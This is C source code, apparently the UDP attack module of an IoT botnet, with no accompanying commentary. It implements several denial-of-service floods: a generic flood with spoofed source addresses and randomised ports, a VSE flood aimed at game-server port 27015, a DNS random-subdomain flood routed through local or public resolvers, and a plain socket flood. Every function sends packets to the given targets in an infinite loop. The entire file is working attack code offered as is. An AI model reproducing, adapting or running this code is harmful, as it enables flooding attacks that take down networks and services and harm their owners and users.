#define _GNU_SOURCE #ifdef DEBUG #include #endif #include #include #include #include #include #include #include #include #include "includes.h" #include "attack.h" #include "checksum.h" #include "rand.h" #include "util.h" #include "table.h" #include "protocol.h" static ipv4_t get_dns_resolver(void); void attack_udp_generic(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { int i, fd; char **pkts = calloc(targs_len, sizeof (char *)); uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); if (data_len > 1460) data_len = 1460; if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) { #ifdef DEBUG printf("Failed to create raw socket. Aborting attack\n"); #endif return; } i = 1; if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) { #ifdef DEBUG printf("Failed to set IP_HDRINCL. Aborting\n"); #endif close(fd); return; } for (i = 0; i < targs_len; i++) { struct iphdr *iph; struct udphdr *udph; pkts[i] = calloc(1510, sizeof (char)); iph = (struct iphdr *)pkts[i]; udph = (struct udphdr *)(iph + 1); iph->version = 4; iph->ihl = 5; iph->tos = ip_tos; iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); iph->id = htons(ip_ident); iph->ttl = ip_ttl; if (dont_frag) iph->frag_off = htons(1 << 14); iph->protocol = IPPROTO_UDP; iph->saddr = source_ip; iph->daddr = targs[i].addr; udph->source = htons(sport); udph->dest = htons(dport); udph->len = htons(sizeof (struct udphdr) + data_len); } while (TRUE) { for (i = 0; i < targs_len; i++) { char *pkt = pkts[i]; struct iphdr *iph = (struct iphdr *)pkt; struct udphdr *udph = (struct udphdr *)(iph + 1); char *data = (char *)(udph + 1); // For prefix attacks if (targs[i].netmask < 32) iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); if (source_ip == 0xffffffff) iph->saddr = rand_next(); if (ip_ident == 0xffff) iph->id = (uint16_t)rand_next(); if (sport == 0xffff) udph->source = rand_next(); if (dport == 0xffff) udph->dest = rand_next(); // Randomize packet content? if (data_rand) rand_str(data, data_len); iph->check = 0; iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); udph->check = 0; udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + data_len); targs[i].sock_addr.sin_port = udph->dest; sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); } #ifdef DEBUG break; if (errno != 0) printf("errno = %d\n", errno); #endif } } void attack_udp_vse(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { int i, fd; char **pkts = calloc(targs_len, sizeof (char *)); uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 27015); char *vse_payload; int vse_payload_len; table_unlock_val(TABLE_ATK_VSE); vse_payload = table_retrieve_val(TABLE_ATK_VSE, &vse_payload_len); if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) { #ifdef DEBUG printf("Failed to create raw socket. Aborting attack\n"); #endif return; } i = 1; if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) { #ifdef DEBUG printf("Failed to set IP_HDRINCL. Aborting\n"); #endif close(fd); return; } for (i = 0; i < targs_len; i++) { struct iphdr *iph; struct udphdr *udph; char *data; pkts[i] = calloc(128, sizeof (char)); iph = (struct iphdr *)pkts[i]; udph = (struct udphdr *)(iph + 1); data = (char *)(udph + 1); iph->version = 4; iph->ihl = 5; iph->tos = ip_tos; iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len); iph->id = htons(ip_ident); iph->ttl = ip_ttl; if (dont_frag) iph->frag_off = htons(1 << 14); iph->protocol = IPPROTO_UDP; iph->saddr = LOCAL_ADDR; iph->daddr = targs[i].addr; udph->source = htons(sport); udph->dest = htons(dport); udph->len = htons(sizeof (struct udphdr) + 4 + vse_payload_len); *((uint32_t *)data) = 0xffffffff; data += sizeof (uint32_t); util_memcpy(data, vse_payload, vse_payload_len); } while (TRUE) { for (i = 0; i < targs_len; i++) { char *pkt = pkts[i]; struct iphdr *iph = (struct iphdr *)pkt; struct udphdr *udph = (struct udphdr *)(iph + 1); // For prefix attacks if (targs[i].netmask < 32) iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); if (ip_ident == 0xffff) iph->id = (uint16_t)rand_next(); if (sport == 0xffff) udph->source = rand_next(); if (dport == 0xffff) udph->dest = rand_next(); iph->check = 0; iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); udph->check = 0; udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len); targs[i].sock_addr.sin_port = udph->dest; sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (uint32_t) + vse_payload_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); } #ifdef DEBUG break; if (errno != 0) printf("errno = %d\n", errno); #endif } } void attack_udp_dns(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { int i, fd; char **pkts = calloc(targs_len, sizeof (char *)); uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE); port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 53); uint16_t dns_hdr_id = attack_get_opt_int(opts_len, opts, ATK_OPT_DNS_HDR_ID, 0xffff); uint8_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 12); char *domain = attack_get_opt_str(opts_len, opts, ATK_OPT_DOMAIN, NULL); int domain_len; ipv4_t dns_resolver = get_dns_resolver(); if (domain == NULL) { #ifdef DEBUG printf("Cannot send DNS flood without a domain\n"); #endif return; } domain_len = util_strlen(domain); if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP)) == -1) { #ifdef DEBUG printf("Failed to create raw socket. Aborting attack\n"); #endif return; } i = 1; if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) { #ifdef DEBUG printf("Failed to set IP_HDRINCL. Aborting\n"); #endif close(fd); return; } for (i = 0; i < targs_len; i++) { int ii; uint8_t curr_word_len = 0, num_words = 0; struct iphdr *iph; struct udphdr *udph; struct dnshdr *dnsh; char *qname, *curr_lbl; struct dns_question *dnst; pkts[i] = calloc(600, sizeof (char)); iph = (struct iphdr *)pkts[i]; udph = (struct udphdr *)(iph + 1); dnsh = (struct dnshdr *)(udph + 1); qname = (char *)(dnsh + 1); iph->version = 4; iph->ihl = 5; iph->tos = ip_tos; iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question)); iph->id = htons(ip_ident); iph->ttl = ip_ttl; if (dont_frag) iph->frag_off = htons(1 << 14); iph->protocol = IPPROTO_UDP; iph->saddr = LOCAL_ADDR; iph->daddr = dns_resolver; udph->source = htons(sport); udph->dest = htons(dport); udph->len = htons(sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question)); dnsh->id = htons(dns_hdr_id); dnsh->opts = htons(1 << 8); // Recursion desired dnsh->qdcount = htons(1); // Fill out random area *qname++ = data_len; qname += data_len; curr_lbl = qname; util_memcpy(qname + 1, domain, domain_len + 1); // Null byte at end needed // Write in domain for (ii = 0; ii < domain_len; ii++) { if (domain[ii] == '.') { *curr_lbl = curr_word_len; curr_word_len = 0; num_words++; curr_lbl = qname + ii + 1; } else curr_word_len++; } *curr_lbl = curr_word_len; dnst = (struct dns_question *)(qname + domain_len + 2); dnst->qtype = htons(PROTO_DNS_QTYPE_A); dnst->qclass = htons(PROTO_DNS_QCLASS_IP); } while (TRUE) { for (i = 0; i < targs_len; i++) { char *pkt = pkts[i]; struct iphdr *iph = (struct iphdr *)pkt; struct udphdr *udph = (struct udphdr *)(iph + 1); struct dnshdr *dnsh = (struct dnshdr *)(udph + 1); char *qrand = ((char *)(dnsh + 1)) + 1; if (ip_ident == 0xffff) iph->id = rand_next() & 0xffff; if (sport == 0xffff) udph->source = rand_next() & 0xffff; if (dport == 0xffff) udph->dest = rand_next() & 0xffff; if (dns_hdr_id == 0xffff) dnsh->id = rand_next() & 0xffff; rand_alphastr((uint8_t *)qrand, data_len); iph->check = 0; iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); udph->check = 0; udph->check = checksum_tcpudp(iph, udph, udph->len, sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question)); targs[i].sock_addr.sin_addr.s_addr = dns_resolver; targs[i].sock_addr.sin_port = udph->dest; sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct udphdr) + sizeof (struct dnshdr) + 1 + data_len + 2 + domain_len + sizeof (struct dns_question), MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); } #ifdef DEBUG break; if (errno != 0) printf("errno = %d\n", errno); #endif } } void attack_udp_plain(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { #ifdef DEBUG printf("in udp plain\n"); #endif int i; char **pkts = calloc(targs_len, sizeof (char *)); int *fds = calloc(targs_len, sizeof (int)); port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); struct sockaddr_in bind_addr = {0}; if (sport == 0xffff) { sport = rand_next(); } else { sport = htons(sport); } #ifdef DEBUG printf("after args\n"); #endif for (i = 0; i < targs_len; i++) { struct iphdr *iph; struct udphdr *udph; char *data; pkts[i] = calloc(65535, sizeof (char)); if (dport == 0xffff) targs[i].sock_addr.sin_port = rand_next(); else targs[i].sock_addr.sin_port = htons(dport); if ((fds[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { #ifdef DEBUG printf("Failed to create udp socket. Aborting attack\n"); #endif return; } bind_addr.sin_family = AF_INET; bind_addr.sin_port = sport; bind_addr.sin_addr.s_addr = 0; if (bind(fds[i], (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1) { #ifdef DEBUG printf("Failed to bind udp socket.\n"); #endif } // For prefix attacks if (targs[i].netmask < 32) targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); if (connect(fds[i], (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)) == -1) { #ifdef DEBUG printf("Failed to connect udp socket.\n"); #endif } } #ifdef DEBUG printf("after setup\n"); #endif while (TRUE) { for (i = 0; i < targs_len; i++) { char *data = pkts[i]; // Randomize packet content? if (data_rand) rand_str(data, data_len); #ifdef DEBUG errno = 0; if (send(fds[i], data, data_len, MSG_NOSIGNAL) == -1) { printf("send failed: %d\n", errno); } else { printf(".\n"); } #else send(fds[i], data, data_len, MSG_NOSIGNAL); #endif } #ifdef DEBUG break; if (errno != 0) printf("errno = %d\n", errno); #endif } } static ipv4_t get_dns_resolver(void) { int fd; table_unlock_val(TABLE_ATK_RESOLVER); fd = open(table_retrieve_val(TABLE_ATK_RESOLVER, NULL), O_RDONLY); table_lock_val(TABLE_ATK_RESOLVER); if (fd >= 0) { int ret, nspos; char resolvbuf[2048]; ret = read(fd, resolvbuf, sizeof (resolvbuf)); close(fd); table_unlock_val(TABLE_ATK_NSERV); nspos = util_stristr(resolvbuf, ret, table_retrieve_val(TABLE_ATK_NSERV, NULL)); table_lock_val(TABLE_ATK_NSERV); if (nspos != -1) { int i; char ipbuf[32]; BOOL finished_whitespace = FALSE; BOOL found = FALSE; for (i = nspos; i < ret; i++) { char c = resolvbuf[i]; // Skip leading whitespace if (!finished_whitespace) { if (c == ' ' || c == '\t') continue; else finished_whitespace = TRUE; } // End if c is not either a dot or a number if ((c != '.' && (c < '0' || c > '9')) || (i == (ret - 1))) { util_memcpy(ipbuf, resolvbuf + nspos, i - nspos); ipbuf[i - nspos] = 0; found = TRUE; break; } } if (found) { #ifdef DEBUG printf("Found local resolver: '%s'\n", ipbuf); #endif return inet_addr(ipbuf); } } } switch (rand_next() % 4) { case 0: return INET_ADDR(8,8,8,8); case 1: return INET_ADDR(74,82,42,42); case 2: return INET_ADDR(64,6,64,6); case 3: return INET_ADDR(4,2,2,2); } }